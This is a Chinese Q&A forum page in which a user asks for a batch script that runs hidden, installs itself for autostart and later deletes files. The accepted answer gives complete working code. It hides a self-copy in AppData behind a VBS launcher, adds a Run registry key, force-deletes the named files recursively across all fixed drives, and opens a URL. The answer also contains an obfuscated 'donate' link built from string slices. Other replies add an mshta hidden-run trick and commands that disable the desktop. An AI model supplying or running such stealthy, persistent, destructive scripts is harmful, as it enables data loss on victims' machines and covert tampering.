bat批处理打开后隐藏运行自动加入自启动,然后30分钟后查找多个文件并删除然后打开一次指定网页?
bat批处理打开后自动加入自启动,然后30分钟后查找多个文件并删除然后打开一次指定网页怎么写啊大神,运行的时候是隐藏运行。...
bat批处理打开后自动加入自启动,然后30分钟后查找多个文件并删除然后打开一次指定网页怎么写啊大神,运行的时候是隐藏运行。
展开
展开全部
脚本中使用了一个timeout命令,所以请不要在XP系统上使用。
@echo off & title 自动加入自启动,30分钟后执行删除和打开网址操作 By 依梦琴瑶
cd /d "%~dp0"
::预设置要删除的文件,每个文件之间用空格隔开,文件名必须加英文双引号
set Files="test.txt" "myword.doc"
::预设置几分钟后执行操作,仅接受分钟数
set m=30
::预设置要打开的网站,网址必须加英文双引号
set Url="http://........."
%1 goto SetAutoRun
set /a m*=60
timeout /t %m% /nobreak >nul 2>nul
for /f "tokens=2 delims==:" %%a in ('wmic LogicalDisk where "DriveType='3'" get DeviceID /value') do (
pushd %%~a:\
del /a /f /q /s %Files%
popd
)
start "" %Url%
exit
:SetAutoRun
copy /y "%~0" "%AppData%\MinDelFile.bat"
>"%AppData%\HiddenRunDelFile.vbs" echo CreateObject("WScript.Shell").Run """%AppData%\MinDelFile.bat"" rem",0,FALSE
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "HiddenRunDelFile" /t REG_SZ /d "\"%SystemRoot%\System32\cscript.exe\" \"%AppData%\HiddenRunDelFile.vbs\"" /f
echo, & echo 如果以上有错误信息,请直接关闭脚本,并以管理员身份运行脚本。
echo 若无错误信息,请按任意键继续。
pause>nul
start "" "%AppData%\HiddenRunDelFile.vbs"
exit
::非主代码,愿意的话,可以额外执行一下
@echo off & title 友情一下
call :Donate
exit
:Donate
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
展开全部
你好
试试
打开系统组策略编辑器就是gpedit.msc,找到“用户配置”——“Windows设置”项——脚本(注销与登录)——登录(添加,将脚本路径改为bat文件的路径
方法一:(依次复制下面的命令到开始运行里执行)
1、设置禁止桌面项目:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /d 1 /t REG_DWORD /f
2、结束系统SHELL使设置生效:
cmd /c taskkill /f /im explorer.exe&&explorer.exe
方法二:(开始运行里输入gpedit.msc并确定执行)
用户配置 --- 桌面 --- 双击“隐藏和禁用桌面上的所有项目” --- 选中“已启用”--- 确定
试试
打开系统组策略编辑器就是gpedit.msc,找到“用户配置”——“Windows设置”项——脚本(注销与登录)——登录(添加,将脚本路径改为bat文件的路径
方法一:(依次复制下面的命令到开始运行里执行)
1、设置禁止桌面项目:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /d 1 /t REG_DWORD /f
2、结束系统SHELL使设置生效:
cmd /c taskkill /f /im explorer.exe&&explorer.exe
方法二:(开始运行里输入gpedit.msc并确定执行)
用户配置 --- 桌面 --- 双击“隐藏和禁用桌面上的所有项目” --- 选中“已启用”--- 确定
追问
你说的这个我会
我想知道的是这个--bat批处理打开后自动加入自启动,然后30分钟后查找多个文件并删除然后打开一次指定网页怎么写啊大神,运行的时候是隐藏运行。
本回答被网友采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
加入启动好说,你用一条命的把它复制到,当前用户的启动文件夹就好。
更多追问追答
追问
你说的这个我也会,可是我问的是打开后自动加入自启动。
bat批处理打开后自动加入自启动,然后30分钟后查找多个文件并删除然后打开一次指定网页怎么写啊大神,运行的时候是隐藏运行。
追答
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin,这个应该可以隐藏就行,放在最前头就行了。
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询